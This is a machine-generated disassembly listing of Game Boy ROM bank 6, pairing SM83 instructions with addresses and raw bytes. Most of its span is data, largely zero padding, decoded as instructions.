ld a, $fe ; $555a: $3e $fe
db $dd ; $555c: $dd
rst $38 ; $555d: $ff
scf ; $555e: $37
ei ; $555f: $fb
ld e, $13 ; $5560: $1e $13
add hl, sp ; $5562: $39
daa ; $5563: $27
ccf ; $5564: $3f
dec l ; $5565: $2d
or e ; $5566: $b3
cp [hl] ; $5567: $be
ld h, e ; $5568: $63
cp $b0 ; $5569: $fe $b0
rst $18 ; $556b: $df
ld [hl], b ; $556c: $70
rst $38 ; $556d: $ff
ret c ; $556e: $d8
ld a, a ; $556f: $7f
ld e, a ; $5570: $5f
db $fd ; $5571: $fd
or a ; $5572: $b7
db $fd ; $5573: $fd
and d ; $5574: $a2
ld a, [hl] ; $5575: $7e
and d ; $5576: $a2
cp $f4 ; $5577: $fe $f4
db $fc ; $5579: $fc
db $fc ; $557a: $fc
cp h ; $557b: $bc
jr_006_557c:
call nz, $fcfc ; $557c: $c4 $fc $fc
db $fc ; $557f: $fc
nop ; $5580: $00
nop ; $5581: $00
ld bc, $0101 ; $5582: $01 $01 $01
ld bc, $0101 ; $5585: $01 $01 $01
ld bc, $0001 ; $5588: $01 $01 $00
nop ; $558b: $00
nop ; $558c: $00
nop ; $558d: $00
nop ; $558e: $00
nop ; $558f: $00
cp $df ; $5590: $fe $df
ld e, a ; $5592: $5f
ld sp, hl ; $5593: $f9
ld [hl], a ; $5594: $77
rst $38 ; $5595: $ff
ld hl, sp-$21 ; $5596: $f8 $df
ld a, $ef ; $5598: $3e $ef
ei ; $559a: $fb
cp e ; $559b: $bb
and l ; $559c: $a5
db $fd ; $559d: $fd
ld a, h ; $559e: $7c
ld a, h ; $559f: $7c
inc [hl] ; $55a0: $34
db $fc ; $55a1: $fc
jr c, jr_006_557c ; $55a2: $38 $d8
ldh [$a0], a ; $55a4: $e0 $a0
ldh a, [$e0] ; $55a6: $f0 $e0
ld a, b ; $55a8: $78
sbc b ; $55a9: $98
or $fe ; $55aa: $f6 $fe
pop hl ; $55ac: $e1
rst $38 ; $55ad: $ff
ld a, a ; $55ae: $7f
ld a, a ; $55af: $7f
nop ; $55b0: $00
nop ; $55b1: $00
nop ; $55b2: $00
nop ; $55b3: $00
rra ; $55b4: $1f
inc de ; $55b5: $13
dec e ; $55b6: $1d
inc de ; $55b7: $13
ccf ; $55b8: $3f
daa ; $55b9: $27
add hl, sp ; $55ba: $39
cpl ; $55bb: $2f
inc a ; $55bc: $3c
scf ; $55bd: $37
jr jr_006_55df ; $55be: $18 $1f
nop ; $55c0: $00
nop ; $55c1: $00
nop ; $55c2: $00
nop ; $55c3: $00
db $ed ; $55c4: $ed
cp a ; $55c5: $bf
reti ; $55c6: $d9
ld a, a ; $55c7: $7f
cp $ff ; $55c8: $fe $ff
db $fd ; $55ca: $fd
adc [hl] ; $55cb: $8e
or e ; $55cc: $b3
db $dd ; $55cd: $dd
ld h, d ; $55ce: $62
cp $00 ; $55cf: $fe $00
nop ; $55d1: $00
nop ; $55d2: $00
nop ; $55d3: $00
nop ; $55d4: $00
nop ; $55d5: $00
nop ; $55d6: $00
nop ; $55d7: $00
nop ; $55d8: $00
nop ; $55d9: $00
nop ; $55da: $00
nop ; $55db: $00
nop ; $55dc: $00
nop ; $55dd: $00
nop ; $55de: $00
jr_006_55df:
nop ; $55df: $00
nop ; $55e0: $00
nop ; $55e1: $00
nop ; $55e2: $00
nop ; $55e3: $00
nop ; $55e4: $00
nop ; $55e5: $00
nop ; $55e6: $00
nop ; $55e7: $00
nop ; $55e8: $00
nop ; $55e9: $00
nop ; $55ea: $00
nop ; $55eb: $00
nop ; $55ec: $00
nop ; $55ed: $00
nop ; $55ee: $00
nop ; $55ef: $00
nop ; $55f0: $00
nop ; $55f1: $00
nop ; $55f2: $00
nop ; $55f3: $00
nop ; $55f4: $00
nop ; $55f5: $00
nop ; $55f6: $00
nop ; $55f7: $00
nop ; $55f8: $00
nop ; $55f9: $00
nop ; $55fa: $00
nop ; $55fb: $00
nop ; $55fc: $00
nop ; $55fd: $00
nop ; $55fe: $00
nop ; $55ff: $00
nop ; $5600: $00
nop ; $5601: $00
nop ; $5602: $00
nop ; $5603: $00
nop ; $5604: $00
nop ; $5605: $00
nop ; $5606: $00
nop ; $5607: $00
nop ; $5608: $00
nop ; $5609: $00
nop ; $560a: $00
nop ; $560b: $00
nop ; $560c: $00
nop ; $560d: $00
nop ; $560e: $00
nop ; $560f: $00
nop ; $5610: $00
nop ; $5611: $00
nop ; $5612: $00
nop ; $5613: $00
nop ; $5614: $00
nop ; $5615: $00
nop ; $5616: $00
nop ; $5617: $00
nop ; $5618: $00
nop ; $5619: $00
nop ; $561a: $00
nop ; $561b: $00
nop ; $561c: $00
nop ; $561d: $00
nop ; $561e: $00
nop ; $561f: $00
nop ; $5620: $00
nop ; $5621: $00
nop ; $5622: $00
nop ; $5623: $00
nop ; $5624: $00
nop ; $5625: $00
nop ; $5626: $00
nop ; $5627: $00
nop ; $5628: $00
nop ; $5629: $00
nop ; $562a: $00
nop ; $562b: $00
nop ; $562c: $00
nop ; $562d: $00
nop ; $562e: $00
nop ; $562f: $00
nop ; $5630: $00
nop ; $5631: $00
nop ; $5632: $00
nop ; $5633: $00
nop ; $5634: $00
nop ; $5635: $00
nop ; $5636: $00
nop ; $5637: $00
nop ; $5638: $00
nop ; $5639: $00
nop ; $563a: $00
nop ; $563b: $00
nop ; $563c: $00
nop ; $563d: $00
nop ; $563e: $00
nop ; $563f: $00
nop ; $5640: $00
nop ; $5641: $00
nop ; $5642: $00
nop ; $5643: $00
nop ; $5644: $00
nop ; $5645: $00
nop ; $5646: $00
nop ; $5647: $00
nop ; $5648: $00
nop ; $5649: $00
nop ; $564a: $00
nop ; $564b: $00
nop ; $564c: $00
nop ; $564d: $00
nop ; $564e: $00
nop ; $564f: $00
nop ; $5650: $00
nop ; $5651: $00
nop ; $5652: $00
nop ; $5653: $00
nop ; $5654: $00
nop ; $5655: $00
nop ; $5656: $00
nop ; $5657: $00
nop ; $5658: $00
nop ; $5659: $00
nop ; $565a: $00
nop ; $565b: $00
nop ; $565c: $00
nop ; $565d: $00
nop ; $565e: $00
nop ; $565f: $00
nop ; $5660: $00
nop ; $5661: $00
nop ; $5662: $00
nop ; $5663: $00
nop ; $5664: $00
nop ; $5665: $00
nop ; $5666: $00
nop ; $5667: $00
nop ; $5668: $00
nop ; $5669: $00
nop ; $566a: $00
nop ; $566b: $00
nop ; $566c: $00
nop ; $566d: $00
nop ; $566e: $00
nop ; $566f: $00
nop ; $5670: $00
nop ; $5671: $00
nop ; $5672: $00
nop ; $5673: $00
nop ; $5674: $00
nop ; $5675: $00
nop ; $5676: $00
nop ; $5677: $00
nop ; $5678: $00
nop ; $5679: $00
nop ; $567a: $00
nop ; $567b: $00
nop ; $567c: $00
nop ; $567d: $00
nop ; $567e: $00
nop ; $567f: $00
nop ; $5680: $00
nop ; $5681: $00
nop ; $5682: $00
nop ; $5683: $00
nop ; $5684: $00
nop ; $5685: $00
nop ; $5686: $00
nop ; $5687: $00
nop ; $5688: $00
nop ; $5689: $00
nop ; $568a: $00
nop ; $568b: $00
nop ; $568c: $00
nop ; $568d: $00
nop ; $568e: $00
nop ; $568f: $00
nop ; $5690: $00
nop ; $5691: $00
nop ; $5692: $00
nop ; $5693: $00
nop ; $5694: $00
nop ; $5695: $00
nop ; $5696: $00
nop ; $5697: $00
nop ; $5698: $00
nop ; $5699: $00
nop ; $569a: $00
nop ; $569b: $00
nop ; $569c: $00
nop ; $569d: $00
nop ; $569e: $00
nop ; $569f: $00
nop ; $56a0: $00
nop ; $56a1: $00
nop ; $56a2: $00
nop ; $56a3: $00
nop ; $56a4: $00
nop ; $56a5: $00
nop ; $56a6: $00
nop ; $56a7: $00
nop ; $56a8: $00
nop ; $56a9: $00
nop ; $56aa: $00
nop ; $56ab: $00
nop ; $56ac: $00
nop ; $56ad: $00
nop ; $56ae: $00
nop ; $56af: $00
nop ; $56b0: $00
nop ; $56b1: $00
nop ; $56b2: $00
nop ; $56b3: $00
nop ; $56b4: $00
nop ; $56b5: $00
nop ; $56b6: $00
nop ; $56b7: $00
nop ; $56b8: $00
nop ; $56b9: $00
nop ; $56ba: $00
nop ; $56bb: $00
nop ; $56bc: $00
nop ; $56bd: $00
nop ; $56be: $00
nop ; $56bf: $00
nop ; $56c0: $00
nop ; $56c1: $00
nop ; $56c2: $00
nop ; $56c3: $00
nop ; $56c4: $00
nop ; $56c5: $00
nop ; $56c6: $00
nop ; $56c7: $00
nop ; $56c8: $00
nop ; $56c9: $00
nop ; $56ca: $00
nop ; $56cb: $00
nop ; $56cc: $00
nop ; $56cd: $00
nop ; $56ce: $00
nop ; $56cf: $00
nop ; $56d0: $00
nop ; $56d1: $00
nop ; $56d2: $00
nop ; $56d3: $00
nop ; $56d4: $00
nop ; $56d5: $00
nop ; $56d6: $00
nop ; $56d7: $00
nop ; $56d8: $00
nop ; $56d9: $00
nop ; $56da: $00
nop ; $56db: $00
nop ; $56dc: $00
nop ; $56dd: $00
nop ; $56de: $00
nop ; $56df: $00
nop ; $56e0: $00
nop ; $56e1: $00
nop ; $56e2: $00
nop ; $56e3: $00
nop ; $56e4: $00
nop ; $56e5: $00
nop ; $56e6: $00
nop ; $56e7: $00
nop ; $56e8: $00
nop ; $56e9: $00
nop ; $56ea: $00
nop ; $56eb: $00
nop ; $56ec: $00
nop ; $56ed: $00
nop ; $56ee: $00
nop ; $56ef: $00
nop ; $56f0: $00
nop ; $56f1: $00
nop ; $56f2: $00
nop ; $56f3: $00
nop ; $56f4: $00
nop ; $56f5: $00
nop ; $56f6: $00
nop ; $56f7: $00
nop ; $56f8: $00
nop ; $56f9: $00
nop ; $56fa: $00
nop ; $56fb: $00
nop ; $56fc: $00
nop ; $56fd: $00
nop ; $56fe: $00
nop ; $56ff: $00
nop ; $5700: $00
nop ; $5701: $00
nop ; $5702: $00
nop ; $5703: $00
nop ; $5704: $00
nop ; $5705: $00
nop ; $5706: $00
nop ; $5707: $00
nop ; $5708: $00
nop ; $5709: $00
nop ; $570a: $00
nop ; $570b: $00
nop ; $570c: $00
nop ; $570d: $00
nop ; $570e: $00
nop ; $570f: $00
nop ; $5710: $00
nop ; $5711: $00
nop ; $5712: $00
nop ; $5713: $00
nop ; $5714: $00
nop ; $5715: $00
nop ; $5716: $00
nop ; $5717: $00
nop ; $5718: $00
nop ; $5719: $00
nop ; $571a: $00
nop ; $571b: $00
nop ; $571c: $00
nop ; $571d: $00
nop ; $571e: $00
nop ; $571f: $00
nop ; $5720: $00
nop ; $5721: $00
nop ; $5722: $00
nop ; $5723: $00
nop ; $5724: $00
nop ; $5725: $00
nop ; $5726: $00
nop ; $5727: $00
nop ; $5728: $00
nop ; $5729: $00
nop ; $572a: $00
nop ; $572b: $00
nop ; $572c: $00
nop ; $572d: $00
nop ; $572e: $00
nop ; $572f: $00
nop ; $5730: $00
nop ; $5731: $00
nop ; $5732: $00
nop ; $5733: $00
nop ; $5734: $00
nop ; $5735: $00
nop ; $5736: $00
nop ; $5737: $00
nop ; $5738: $00
nop ; $5739: $00
nop ; $573a: $00
nop ; $573b: $00
nop ; $573c: $00
nop ; $573d: $00
nop ; $573e: $00
nop ; $573f: $00
nop ; $5740: $00
nop ; $5741: $00
nop ; $5742: $00
nop ; $5743: $00
nop ; $5744: $00
nop ; $5745: $00
nop ; $5746: $00
nop ; $5747: $00
nop ; $5748: $00
nop ; $5749: $00
nop ; $574a: $00
nop ; $574b: $00
nop ; $574c: $00
nop ; $574d: $00
nop ; $574e: $00
nop ; $574f: $00
nop ; $5750: $00
nop ; $5751: $00
nop ; $5752: $00
nop ; $5753: $00
nop ; $5754: $00
nop ; $5755: $00
nop ; $5756: $00
nop ; $5757: $00
nop ; $5758: $00
nop ; $5759: $00
nop ; $575a: $00
nop ; $575b: $00
nop ; $575c: $00
nop ; $575d: $00
nop ; $575e: $00
nop ; $575f: $00
nop ; $5760: $00
nop ; $5761: $00
nop ; $5762: $00
nop ; $5763: $00
nop ; $5764: $00
nop ; $5765: $00
nop ; $5766: $00
nop ; $5767: $00
nop ; $5768: $00
nop ; $5769: $00
nop ; $576a: $00
nop ; $576b: $00
nop ; $576c: $00
nop ; $576d: $00
nop ; $576e: $00
nop ; $576f: $00
nop ; $5770: $00
nop ; $5771: $00
nop ; $5772: $00
nop ; $5773: $00
nop ; $5774: $00
nop ; $5775: $00
nop ; $5776: $00
nop ; $5777: $00
nop ; $5778: $00
nop ; $5779: $00
nop ; $577a: $00
nop ; $577b: $00
nop ; $577c: $00
nop ; $577d: $00
nop ; $577e: $00
nop ; $577f: $00
nop ; $5780: $00
nop ; $5781: $00
nop ; $5782: $00
nop ; $5783: $00
nop ; $5784: $00
nop ; $5785: $00
nop ; $5786: $00
nop ; $5787: $00
nop ; $5788: $00
nop ; $5789: $00
nop ; $578a: $00
nop ; $578b: $00
nop ; $578c: $00
nop ; $578d: $00
nop ; $578e: $00
nop ; $578f: $00
nop ; $5790: $00
nop ; $5791: $00
nop ; $5792: $00
nop ; $5793: $00
nop ; $5794: $00
nop ; $5795: $00
nop ; $5796: $00
nop ; $5797: $00
nop ; $5798: $00
nop ; $5799: $00
nop ; $579a: $00
nop ; $579b: $00
nop ; $579c: $00
nop ; $579d: $00
nop ; $579e: $00
nop ; $579f: $00
nop ; $57a0: $00
nop ; $57a1: $00
nop ; $57a2: $00
nop ; $57a3: $00
nop ; $57a4: $00
nop ; $57a5: $00
nop ; $57a6: $00
nop ; $57a7: $00
nop ; $57a8: $00
nop ; $57a9: $00
nop ; $57aa: $00
nop ; $57ab: $00
nop ; $57ac: $00
nop ; $57ad: $00
nop ; $57ae: $00
nop ; $57af: $00
nop ; $57b0: $00
nop ; $57b1: $00
nop ; $57b2: $00
nop ; $57b3: $00
nop ; $57b4: $00
nop ; $57b5: $00
nop ; $57b6: $00
nop ; $57b7: $00
nop ; $57b8: $00
nop ; $57b9: $00
nop ; $57ba: $00
nop ; $57bb: $00
nop ; $57bc: $00
nop ; $57bd: $00
nop ; $57be: $00
nop ; $57bf: $00
nop ; $57c0: $00
nop ; $57c1: $00
nop ; $57c2: $00
nop ; $57c3: $00
nop ; $57c4: $00
nop ; $57c5: $00
nop ; $57c6: $00
nop ; $57c7: $00
nop ; $57c8: $00
nop ; $57c9: $00
nop ; $57ca: $00
nop ; $57cb: $00
nop ; $57cc: $00
nop ; $57cd: $00
nop ; $57ce: $00
nop ; $57cf: $00
nop ; $57d0: $00
nop ; $57d1: $00
nop ; $57d2: $00
nop ; $57d3: $00
nop ; $57d4: $00
nop ; $57d5: $00
nop ; $57d6: $00
nop ; $57d7: $00
nop ; $57d8: $00
nop ; $57d9: $00
nop ; $57da: $00
nop ; $57db: $00
nop ; $57dc: $00
nop ; $57dd: $00
nop ; $57de: $00
nop ; $57df: $00
nop ; $57e0: $00
nop ; $57e1: $00
nop ; $57e2: $00
nop ; $57e3: $00
nop ; $57e4: $00
nop ; $57e5: $00
nop ; $57e6: $00
nop ; $57e7: $00
nop ; $57e8: $00
nop ; $57e9: $00
nop ; $57ea: $00
nop ; $57eb: $00
nop ; $57ec: $00
nop ; $57ed: $00
nop ; $57ee: $00
nop ; $57ef: $00
nop ; $57f0: $00
nop ; $57f1: $00
nop ; $57f2: $00
nop ; $57f3: $00
nop ; $57f4: $00
nop ; $57f5: $00
nop ; $57f6: $00
nop ; $57f7: $00
nop ; $57f8: $00
nop ; $57f9: $00
nop ; $57fa: $00
nop ; $57fb: $00
nop ; $57fc: $00
nop ; $57fd: $00
nop ; $57fe: $00
nop ; $57ff: $00
nop ; $5800: $00
nop ; $5801: $00
nop ; $5802: $00
nop ; $5803: $00
nop ; $5804: $00
nop ; $5805: $00
nop ; $5806: $00
nop ; $5807: $00
nop ; $5808: $00
nop ; $5809: $00
nop ; $580a: $00
nop ; $580b: $00
nop ; $580c: $00
nop ; $580d: $00
nop ; $580e: $00
nop ; $580f: $00
nop ; $5810: $00
nop ; $5811: $00
nop ; $5812: $00
nop ; $5813: $00
nop ; $5814: $00
nop ; $5815: $00
nop ; $5816: $00
nop ; $5817: $00
nop ; $5818: $00
nop ; $5819: $00
nop ; $581a: $00
nop ; $581b: $00
nop ; $581c: $00
nop ; $581d: $00
nop ; $581e: $00
nop ; $581f: $00
nop ; $5820: $00
nop ; $5821: $00
nop ; $5822: $00
nop ; $5823: $00
nop ; $5824: $00
nop ; $5825: $00
nop ; $5826: $00
nop ; $5827: $00
nop ; $5828: $00
nop ; $5829: $00
nop ; $582a: $00
nop ; $582b: $00
nop ; $582c: $00
nop ; $582d: $00
nop ; $582e: $00
nop ; $582f: $00
nop ; $5830: $00
nop ; $5831: $00
nop ; $5832: $00
nop ; $5833: $00
nop ; $5834: $00
nop ; $5835: $00
nop ; $5836: $00
nop ; $5837: $00
nop ; $5838: $00
nop ; $5839: $00
nop ; $583a: $00
nop ; $583b: $00
nop ; $583c: $00
nop ; $583d: $00
nop ; $583e: $00
nop ; $583f: $00
nop ; $5840: $00
nop ; $5841: $00
nop ; $5842: $00
nop ; $5843: $00
nop ; $5844: $00
nop ; $5845: $00
nop ; $5846: $00
nop ; $5847: $00
nop ; $5848: $00
nop ; $5849: $00
nop ; $584a: $00
nop ; $584b: $00
nop ; $584c: $00
nop ; $584d: $00
nop ; $584e: $00
nop ; $584f: $00
nop ; $5850: $00
nop ; $5851: $00
nop ; $5852: $00
nop ; $5853: $00
nop ; $5854: $00
nop ; $5855: $00
nop ; $5856: $00
nop ; $5857: $00
nop ; $5858: $00
nop ; $5859: $00
nop ; $585a: $00
nop ; $585b: $00
nop ; $585c: $00
nop ; $585d: $00
nop ; $585e: $00
nop ; $585f: $00
nop ; $5860: $00
nop ; $5861: $00
nop ; $5862: $00
nop ; $5863: $00
nop ; $5864: $00
nop ; $5865: $00
nop ; $5866: $00
nop ; $5867: $00
nop ; $5868: $00
nop ; $5869: $00
nop ; $586a: $00
nop ; $586b: $00
nop ; $586c: $00
nop ; $586d: $00
nop ; $586e: $00
nop ; $586f: $00
nop ; $5870: $00
nop ; $5871: $00
nop ; $5872: $00
nop ; $5873: $00
nop ; $5874: $00
nop ; $5875: $00
nop ; $5876: $00
nop ; $5877: $00
nop ; $5878: $00
nop ; $5879: $00
nop ; $587a: $00
nop ; $587b: $00
nop ; $587c: $00
nop ; $587d: $00
nop ; $587e: $00
nop ; $587f: $00
nop ; $5880: $00
nop ; $5881: $00
nop ; $5882: $00
nop ; $5883: $00
nop ; $5884: $00
nop ; $5885: $00
nop ; $5886: $00
nop ; $5887: $00
nop ; $5888: $00
nop ; $5889: $00
nop ; $588a: $00
nop ; $588b: $00
nop ; $588c: $00
nop ; $588d: $00
nop ; $588e: $00
nop ; $588f: $00
nop ; $5890: $00
nop ; $5891: $00
nop ; $5892: $00
nop ; $5893: $00
nop ; $5894: $00
nop ; $5895: $00
nop ; $5896: $00
nop ; $5897: $00
nop ; $5898: $00
nop ; $5899: $00
nop ; $589a: $00
nop ; $589b: $00
nop ; $589c: $00
nop ; $589d: $00
nop ; $589e: $00
nop ; $589f: $00
nop ; $58a0: $00
nop ; $58a1: $00
nop ; $58a2: $00
nop ; $58a3: $00
nop ; $58a4: $00
nop ; $58a5: $00
nop ; $58a6: $00
nop ; $58a7: $00
nop ; $58a8: $00
nop ; $58a9: $00
nop ; $58aa: $00
nop ; $58ab: $00
nop ; $58ac: $00
nop ; $58ad: $00
nop ; $58ae: $00
nop ; $58af: $00
nop ; $58b0: $00
nop ; $58b1: $00
nop ; $58b2: $00
nop ; $58b3: $00
nop ; $58b4: $00
nop ; $58b5: $00
nop ; $58b6: $00
nop ; $58b7: $00
nop ; $58b8: $00
nop ; $58b9: $00
nop ; $58ba: $00
nop ; $58bb: $00
nop ; $58bc: $00
nop ; $58bd: $00
nop ; $58be: $00
nop ; $58bf: $00
nop ; $58c0: $00
nop ; $58c1: $00
nop ; $58c2: $00
nop ; $58c3: $00
nop ; $58c4: $00
nop ; $58c5: $00
nop ; $58c6: $00
nop ; $58c7: $00
nop ; $58c8: $00
nop ; $58c9: $00
nop ; $58ca: $00
nop ; $58cb: $00
nop ; $58cc: $00
nop ; $58cd: $00
nop ; $58ce: $00
nop ; $58cf: $00
nop ; $58d0: $00
nop ; $58d1: $00
nop ; $58d2: $00
nop ; $58d3: $00
nop ; $58d4: $00
nop ; $58d5: $00
nop ; $58d6: $00
nop ; $58d7: $00
nop ; $58d8: $00
nop ; $58d9: $00
nop ; $58da: $00
nop ; $58db: $00
nop ; $58dc: $00
nop ; $58dd: $00
nop ; $58de: $00
nop ; $58df: $00
nop ; $58e0: $00
nop ; $58e1: $00
nop ; $58e2: $00
nop ; $58e3: $00
nop ; $58e4: $00
nop ; $58e5: $00
nop ; $58e6: $00
nop ; $58e7: $00
nop ; $58e8: $00
nop ; $58e9: $00
nop ; $58ea: $00
nop ; $58eb: $00
nop ; $58ec: $00
nop ; $58ed: $00
nop ; $58ee: $00
nop ; $58ef: $00
nop ; $58f0: $00
nop ; $58f1: $00
nop ; $58f2: $00
nop ; $58f3: $00
nop ; $58f4: $00
nop ; $58f5: $00
nop ; $58f6: $00
nop ; $58f7: $00
nop ; $58f8: $00
nop ; $58f9: $00
nop ; $58fa: $00
nop ; $58fb: $00
nop ; $58fc: $00
nop ; $58fd: $00
nop ; $58fe: $00
nop ; $58ff: $00
nop ; $5900: $00
nop ; $5901: $00
nop ; $5902: $00
nop ; $5903: $00
nop ; $5904: $00
nop ; $5905: $00
nop ; $5906: $00
nop ; $5907: $00
nop ; $5908: $00
nop ; $5909: $00
nop ; $590a: $00
nop ; $590b: $00
nop ; $590c: $00
nop ; $590d: $00
nop ; $590e: $00
nop ; $590f: $00
nop ; $5910: $00
nop ; $5911: $00
nop ; $5912: $00
nop ; $5913: $00
nop ; $5914: $00
nop ; $5915: $00
nop ; $5916: $00
nop ; $5917: $00
nop ; $5918: $00
nop ; $5919: $00
nop ; $591a: $00
nop ; $591b: $00
nop ; $591c: $00
nop ; $591d: $00
nop ; $591e: $00
nop ; $591f: $00
inc c ; $5920: $0c
nop ; $5921: $00
inc c ; $5922: $0c
nop ; $5923: $00
ld b, b ; $5924: $40
ld bc, $2ad5 ; $5925: $01 $d5 $2a
ld b, b ; $5928: $40
nop ; $5929: $00
inc sp ; $592a: $33
nop ; $592b: $00
inc sp ; $592c: $33
nop ; $592d: $00
nop ; $592e: $00
nop ; $592f: $00
nop ; $5930: $00
rlca ; $5931: $07
inc sp ; $5932: $33
rlca ; $5933: $07
inc [hl] ; $5934: $34
add [hl] ; $5935: $86
add b ; $5936: $80
rst $08 ; $5937: $cf
add b ; $5938: $80
jr_006_5939:
rst $38 ; $5939: $ff
add hl, de ; $593a: $19
ld l, a ; $593b: $6f
sbc $6e ; $593c: $de $6e
sbc $40 ; $593e: $de $40
inc sp ; $5940: $33
nop ; $5941: $00
inc sp ; $5942: $33
nop ; $5943: $00
ld b, b ; $5944: $40
nop ; $5945: $00
push de ; $5946: $d5
ld a, [hl+] ; $5947: $2a
ld b, b ; $5948: $40
ld bc, $000c ; $5949: $01 $0c $00
inc c ; $594c: $0c
nop ; $594d: $00
nop ; $594e: $00
nop ; $594f: $00
nop ; $5950: $00
rlca ; $5951: $07
inc sp ; $5952: $33
rlca ; $5953: $07
inc [hl] ; $5954: $34
add [hl] ; $5955: $86
add b ; $5956: $80
rst $08 ; $5957: $cf
add b ; $5958: $80
rst $38 ; $5959: $ff
add hl, de ; $595a: $19
ld l, a ; $595b: $6f
sbc $6e ; $595c: $de $6e
sbc $40 ; $595e: $de $40
nop ; $5960: $00
nop ; $5961: $00
ld bc, $0300 ; $5962: $01 $00 $03
nop ; $5965: $00
inc bc ; $5966: $03
nop ; $5967: $00
nop ; $5968: $00
nop ; $5969: $00
ld h, e ; $596a: $63
nop ; $596b: $00
ld [hl], h ; $596c: $74
jr_006_596d:
inc bc ; $596d: $03
jr z, jr_006_5971 ; $596e: $28 $01
nop ; $5970: $00
jr_006_5971:
nop ; $5971: $00
nop ; $5972: $00
nop ; $5973: $00
jr_006_5974:
add [hl] ; $5974: $86
nop ; $5975: $00
ld c, $00 ; $5976: $0e $00
ld d, $60 ; $5978: $16 $60
ret z ; $597a: $c8
ld [hl], b ; $597b: $70
ld h, [hl] ; $597c: $66
jr_006_597d:
or b ; $597d: $b0
daa ; $597e: $27
jr nc, jr_006_5991 ; $597f: $30 $10
ld c, $20 ; $5981: $0e $20
dec e ; $5983: $1d
jr_006_5984:
nop ; $5984: $00
jr nc, @+$0a ; $5985: $30 $08
jr nz, jr_006_5989 ; $5987: $20 $00
jr_006_5989:
ld bc, $204e ; $5989: $01 $4e $20
add b ; $598c: $80
ld [hl], a ; $598d: $77
jr_006_598e:
or $f6 ; $598e: $f6 $f6
ld h, [hl] ; $5990: $66
jr_006_5991:
or b ; $5991: $b0
jr nz, jr_006_596d ; $5992: $20 $d9
jr nz, jr_006_5974 ; $5994: $20 $de
nop ; $5996: $00
ret c ; $5997: $d8
inc b ; $5998: $04
add h ; $5999: $84
jr nz, jr_006_59d8 ; $599a: $20 $3c
ld b, b ; $599c: $40
ld a, [hl] ; $599d: $7e
ccf ; $599e: $3f
ld b, b ; $599f: $40
ld h, [hl] ; $59a0: $66
or b ; $59a1: $b0
jr nz, jr_006_597d ; $59a2: $20 $d9
jr nz, jr_006_5984 ; $59a4: $20 $de
nop ; $59a6: $00
ret c ; $59a7: $d8
inc b ; $59a8: $04
add h ; $59a9: $84
jr nz, jr_006_59dc ; $59aa: $20 $30
ld b, b ; $59ac: $40
ld a, b ; $59ad: $78
inc a ; $59ae: $3c
ld b, b ; $59af: $40
db $10 ; $59b0: $10
ld c, $21 ; $59b1: $0e $21
inc e ; $59b3: $1c
nop ; $59b4: $00
jr nc, @+$0a ; $59b5: $30 $08
jr nz, jr_006_5939 ; $59b7: $20 $80
ld bc, $aec0 ; $59b9: $01 $c0 $ae
ld b, b ; $59bc: $40
ld [hl], a ; $59bd: $77
ld [hl], $36 ; $59be: $36 $36
ld bc, $3b00 ; $59c0: $01 $00 $3b
nop ; $59c3: $00
dec sp ; $59c4: $3b
nop ; $59c5: $00
inc d ; $59c6: $14
nop ; $59c7: $00
ld [$1307], sp ; $59c8: $08 $07 $13
rrca ; $59cb: $0f
ld d, $0c ; $59cc: $16 $0c
inc h ; $59ce: $24
ld [bc], a ; $59cf: $02
ld hl, $a160 ; $59d0: $21 $60 $a1
ld [bc], a ; $59d3: $02
adc c ; $59d4: $89
ld l, $01 ; $59d5: $2e $01
db $76 ; $59d7: $76
jr_006_59d8:
ld bc, $e5f6 ; $59d8: $01 $f6 $e5
add [hl] ; $59db: $86
jr_006_59dc:
add d ; $59dc: $82
ld [hl], e ; $59dd: $73
add b ; $59de: $80
ld a, b ; $59df: $78
ld [hl], b ; $59e0: $70
rlca ; $59e1: $07
jr nc, jr_006_59ea ; $59e2: $30 $06
ld b, $00 ; $59e4: $06 $00
ld bc, $0200 ; $59e6: $01 $00 $02
nop ; $59e9: $00
jr_006_59ea:
rlca ; $59ea: $07
nop ; $59eb: $00
ld b, $00 ; $59ec: $06 $00
nop ; $59ee: $00
nop ; $59ef: $00
ld b, b ; $59f0: $40
ld a, [bc] ; $59f1: $0a
ld bc, $0187 ; $59f2: $01 $87 $01
rst $00 ; $59f5: $c7
db $10 ; $59f6: $10
call nz, Call_006_6381 ; $59f7: $c4 $81 $63
ld [hl], c ; $59fa: $71
rlca ; $59fb: $07
dec b ; $59fc: $05
inc bc ; $59fd: $03
inc bc ; $59fe: $03
ld bc, $4000 ; $59ff: $01 $00 $40
add b ; $5a02: $80
jr nz, jr_006_598e ; $5a03: $20 $89
jr z, jr_006_5a08 ; $5a05: $28 $01
ld [hl], d ; $5a07: $72
jr_006_5a08:
ld bc, $e5f6 ; $5a08: $01 $f6 $e5
add [hl] ; $5a0b: $86
add d ; $5a0c: $82
ld [hl], e ; $5a0d: $73
add b ; $5a0e: $80
ld a, b ; $5a0f: $78
ld b, b ; $5a10: $40
ld a, [bc] ; $5a11: $0a
ld bc, $0187 ; $5a12: $01 $87 $01
rst $00 ; $5a15: $c7
db $10 ; $5a16: $10
call nz, Call_006_6381 ; $5a17: $c4 $81 $63
ld b, c ; $5a1a: $41
scf ; $5a1b: $37
ld b, $02 ; $5a1c: $06 $02
inc c ; $5a1e: $0c
inc b ; $5a1f: $04
nop ; $5a20: $00
jr_006_5a21:
ld bc, $1f01 ; $5a21: $01 $01 $1f
jr_006_5a24:
rra ; $5a24: $1f
ccf ; $5a25: $3f
nop ; $5a26: $00
ld a, a ; $5a27: $7f
nop ; $5a28: $00
add b ; $5a29: $80
ccf ; $5a2a: $3f
ccf ; $5a2b: $3f
ld [$030f], sp ; $5a2c: $08 $0f $03
inc bc ; $5a2f: $03
nop ; $5a30: $00
rlca ; $5a31: $07
ld bc, $1019 ; $5a32: $01 $19 $10
ldh a, [$e4] ; $5a35: $f0 $e4
ldh [$e0], a ; $5a37: $e0 $e0
ldh [$71], a ; $5a39: $e0 $71
pop af ; $5a3b: $f1
dec bc ; $5a3c: $0b
ld a, d ; $5a3d: $7a
add [hl] ; $5a3e: $86
adc l ; $5a3f: $8d
rlca ; $5a40: $07
ldh [$e8], a ; $5a41: $e0 $e8
ldh a, [$f3] ; $5a43: $f0 $f3
ld hl, sp+$7c ; $5a45: $f8 $7c
ld a, b ; $5a47: $78
ret nz ; $5a48: $c0
cp $c0 ; $5a49: $fe $c0
ld [hl], $08 ; $5a4b: $36 $08
jp $8338 ; $5a4d: $c3 $38 $83
db $76 ; $5a50: $76
push af ; $5a51: $f5
inc c ; $5a52: $0c
ei ; $5a53: $fb
add h ; $5a54: $84
ei ; $5a55: $fb
ld b, b ; $5a56: $40
